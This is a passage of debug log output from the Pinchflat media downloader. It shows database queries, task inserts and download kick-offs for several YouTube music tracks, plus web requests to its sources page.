short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [179] 22:20:00.620 [info] Kicking off download for media item #179 (dfwMShnhm9c) 22:20:00.953 [debug] QUERY OK source="tasks" db=182.8ms idle=201.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [187, 179, ~U[2026-07-24 02:20:00Z], ~U[2026-07-24 02:20:00Z]] 22:20:00.953 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Rise Records\n\nWelcome Home · blessthefall\n\nHard Feelings\n\n℗ 2018 Rise Records\n\nVocals: Beau Bokan\nGuitar: Elliott Gruenberg\nGuitar: Eric Lambert\nBass: Jared Warth\nDrums: Matt Traynor\nComposer: blessthefall\n\nAuto-generated by YouTube.", "duration" => 222, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-03-22Welcome Home[XchkPl1ASEk].NA", "id" => "XchkPl1ASEk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XchkPl1ASEk", "playlist_index" => 14, "timestamp" => 1521712948, "title" => "Welcome Home", "upload_date" => "20180322"} 22:20:01.018 [debug] QUERY OK source="sources" db=64.2ms idle=334.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:01.018 [debug] QUERY OK source="sources" db=0.1ms idle=397.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:01.019 [debug] QUERY OK source="media_items" db=0.1ms idle=396.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-03-22 10:02:28Z], 5] 22:20:01.157 [debug] QUERY OK source="media_items" db=137.6ms idle=248.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Rise Records\n\nWelcome Home · blessthefall\n\nHard Feelings\n\n℗ 2018 Rise Records\n\nVocals: Beau Bokan\nGuitar: Elliott Gruenberg\nGuitar: Eric Lambert\nBass: Jared Warth\nDrums: Matt Traynor\nComposer: blessthefall\n\nAuto-generated by YouTube.", "Welcome Home", "26f1b74b-9cd4-42c8-b1f3-c2adb318a8b8", false, "XchkPl1ASEk", 222, false, "https://www.youtube.com/watch?v=XchkPl1ASEk", 14, "/downloads/ChristianMetal/ChristianMetal/2018-03-22Welcome Home[XchkPl1ASEk].NA", false, false, 5, [], 1, ~U[2018-03-22 10:02:28Z], ~U[2026-07-24 02:20:01Z], ~U[2026-07-24 02:20:01Z], "Provided to YouTube by Rise Records\n\nWelcome Home · blessthefall\n\nHard Feelings\n\n℗ 2018 Rise Records\n\nVocals: Beau Bokan\nGuitar: Elliott Gruenberg\nGuitar: Eric Lambert\nBass: Jared Warth\nDrums: Matt Traynor\nComposer: blessthefall\n\nAuto-generated by YouTube.", "Welcome Home", "XchkPl1ASEk", 222, false, "https://www.youtube.com/watch?v=XchkPl1ASEk", "/downloads/ChristianMetal/ChristianMetal/2018-03-22Welcome Home[XchkPl1ASEk].NA", false, 5, ~U[2018-03-22 10:02:28Z]] 22:20:01.222 [debug] QUERY OK source="sources" db=65.3ms idle=203.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:01.223 [debug] QUERY OK source="media_profiles" db=0.2ms idle=204.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:01.223 [debug] QUERY OK source="media_items" db=0.1ms idle=204.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [180] 22:20:01.223 [info] Kicking off download for media item #180 (XchkPl1ASEk) 22:20:01.249 [debug] Current batch of media processed. Will check again in 1000ms 22:20:01.318 [info] GET /sources 22:20:01.318 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:20:01.322 [debug] QUERY OK source="settings" db=2.9ms idle=95.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:01.518 [debug] QUERY OK source="tasks" db=199.1ms queue=0.3ms idle=95.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [188, 180, ~U[2026-07-24 02:20:01Z], ~U[2026-07-24 02:20:01Z]] 22:20:01.518 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nUndying · Demon Hunter\n\nThe Triptych\n\n℗ 2005 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "duration" => 259, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-25Undying[8huYQbPK9pI].NA", "id" => "8huYQbPK9pI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8huYQbPK9pI", "playlist_index" => 15, "timestamp" => 1485383240, "title" => "Undying", "upload_date" => "20170125"} 22:20:01.519 [debug] QUERY OK source="sources" db=0.4ms idle=200.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:01.520 [debug] QUERY OK source="sources" db=0.4ms idle=197.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:01.521 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=2.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 22:27:20Z], 5] 22:20:01.751 [debug] QUERY OK source="media_items" db=157.2ms idle=2.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nUndying · Demon Hunter\n\nThe Triptych\n\n℗ 2005 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Undying", "b70e9084-c2a5-43cf-bfb1-1880c4b2672f", false, "8huYQbPK9pI", 259, false, "https://www.youtube.com/watch?v=8huYQbPK9pI", 15, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Undying[8huYQbPK9pI].NA", false, false, 5, [], 5, ~U[2017-01-25 22:27:20Z], ~U[2026-07-24 02:20:01Z], ~U[2026-07-24 02:20:01Z], "Provided to YouTube by The Orchard Enterprises\n\nUndying · Demon Hunter\n\nThe Triptych\n\n℗ 2005 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Undying", "8huYQbPK9pI", 259, false, "https://www.youtube.com/watch?v=8huYQbPK9pI", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Undying[8huYQbPK9pI].NA", false, 5, ~U[2017-01-25 22:27:20Z]] 22:20:01.752 [debug] QUERY OK source="settings" db=429.8ms idle=97.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:01.752 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=231.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:01.752 [debug] QUERY OK source="settings" db=0.2ms idle=231.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:01.753 [debug] QUERY OK source="media_profiles" db=0.3ms idle=73.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:01.753 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:01.753 [debug] QUERY OK source="media_items" db=0.4ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [181] 22:20:01.753 [info] Kicking off download for media item #181 (8huYQbPK9pI) 22:20:01.753 [debug] QUERY OK source="settings" db=0.4ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:01.755 [debug] QUERY OK source="sources" db=1.4ms idle=0.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:02.029 [debug] QUERY OK source="tasks" db=167.5ms idle=106.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [189, 181, ~U[2026-07-24 02:20:01Z], ~U[2026-07-24 02:20:01Z]] 22:20:02.029 [debug] Current batch of media processed. Will check again in 1000ms 22:20:02.047 [debug] QUERY OK source="sources" db=279.2ms queue=0.1ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:02.049 [info] Sent 200 in 731ms 22:20:02.118 [info] GET /sources 22:20:02.118 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:20:02.119 [debug] QUERY OK source="settings" db=0.5ms idle=363.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.119 [debug] QUERY OK source="settings" db=0.1ms idle=350.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.119 [debug] QUERY OK source="settings" db=0.1ms idle=258.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.120 [debug] QUERY OK source="settings" db=0.1ms idle=90.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.120 [debug] QUERY OK source="settings" db=0.0ms idle=72.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:02.121 [debug] QUERY OK source="sources" db=0.6ms idle=1.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:20:02.123 [debug] QUERY OK source="sources" db=1.2ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:02.124 [info] 